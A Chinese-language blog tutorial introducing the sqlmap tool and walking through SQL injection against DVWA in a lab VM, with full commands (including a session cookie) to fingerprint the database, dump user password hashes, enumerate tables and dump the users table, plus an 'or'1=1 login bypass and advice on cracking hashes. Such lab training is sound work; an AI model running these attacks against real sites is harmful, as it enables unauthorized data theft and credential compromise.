SQL注入之SQLmap入门

什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

读者可以通过位于SourceForge的官方网站下载SQLmap源码:http://sourceforge.net/projects/sqlmap/和http://sqlmap.org/

SQLmap的作者是谁?

Bernardo DameleAssumpcao Guimaraes (@inquisb),读者可以通过bernardo@sqlmap.org与他取得联系,以及Miroslav Stampar (@stamparm)读者可以通过miroslav@sqlmap.org与他联系。

同时读者也可以通过dev@sqlmap.org与SQLmap的所有开发者联系。

执行SQLmap的命令是什么?

进入sqlmap.py所在的目录,执行以下命令:

python sqlmap.py -h

(译注:选项列表太长了,而且与最新版本有些差异,所以这里不再列出,请读者下载最新版在自己机器上看吧)

QLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

如何使用SQLmap:

为方便演示,我们创建两个虚拟机:

1、受害者机器, windows     XP操作系统,运行一个web服务器,同时跑着一个包含漏洞的web应用(DVWA)。

2、攻击器机器包含SQLmap程序。

本次实验的目的:使用SQLmap得到以下信息:

3、枚举MYSQL用户名与密码。

4、枚举所有数据库。

5、枚举指定数据库的数据表。

6、枚举指定数据表中的所有用户名与密码。

对于OWASP来说,可以通过特殊字符登录后台导致报错,之后通过admin 'or'1=1这样的方式绕过sql验证进入后台。

再然后使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的add-on获取。


当前得到的cookie为:Cookie=security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1

接下来我们进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:

http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit#

因此该页面就是我们的目标页面。

以下命令可以用来检索当前数据库和当前用户:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -b --current-db --current-user

使用选项:

1、–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”

2、-u : 指定目标URL

3、-b : 获取DBMS banner

4、–current-db : 获取当前数据库

5、–current-user:获取当前用户

结果如下:


可以看到结果如下:

DBMS:MySQL 5.0

os version:12.6

current user:dvwa@%

current db:dvwa

以下命令用来枚举所有的DBMS用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' --string=”Surname” --users --password

使用选项:

1、–string : 当查询可用时用来匹配页面中的字符串

2、–users : 枚举DBMS用户

3、–password : 枚举DBMS用户密码hash


结果如下:

databasemanagement system users [142]:
[*] ”@’kingasmk’
[*]”@’localhost’
[*]‘debian-sys-maint’@'localhost’
[*]‘phpmyadmin’@'localhost’
[*]‘root’@’127.0.0.1′
[*] ‘root’@'::1′
[*]‘root’@'kingasmk’
[*]‘root’@'localhost’

数据库管理系统用户和密码hash:

[*]debian-sys-maint [1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] phpmyadmin[1]:
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
[*] root [4]:
password hash: *C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

读者可以使用Cain&Abel、John&Ripper等工具将密码hash破解为明文。以下命令会枚举系统中所有的数据库schema:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' --dbs

使用选项:

  • –dbs: 枚举DBMS中的数据库


结果如下:

dvwa

information_schema

下面我们尝试枚举DVWA数据表,执行以下命令:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -D dvwa --tables

使用选项:

1、-D : 要枚举的DBMS数据库

2、–tables     : 枚举DBMS数据库中的数据表


得到结果如下:

guestbook

users

下面获取用户表的列,命令如下:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -D dvwa -T users --columns

使用选项:

  • -T : 要枚举的DBMS数据库表

  • –columns : 枚举DBMS数据库表中的所有列


结果如图。

如上所示,以上为我们感兴趣的列,表示用户名与密码等。下面将每一列的内容提取出来。执行以下命令,将用户与密码表中的所有用户名与密码dump出来:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -D dvwa -T users --columns --dump

使用选项:

  • -T : 要枚举的DBMS数据表

  • -C: 要枚举的DBMS数据表中的列

  • –dump : 转储DBMS数据表项

SQLmap会提问是否破解密码,按回车确认:


结果在dvwa.users中。

总结:

SQLmap是一个非常强大的工具,可以用来简化操作,并自动处理SQL注入检测与利用。


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值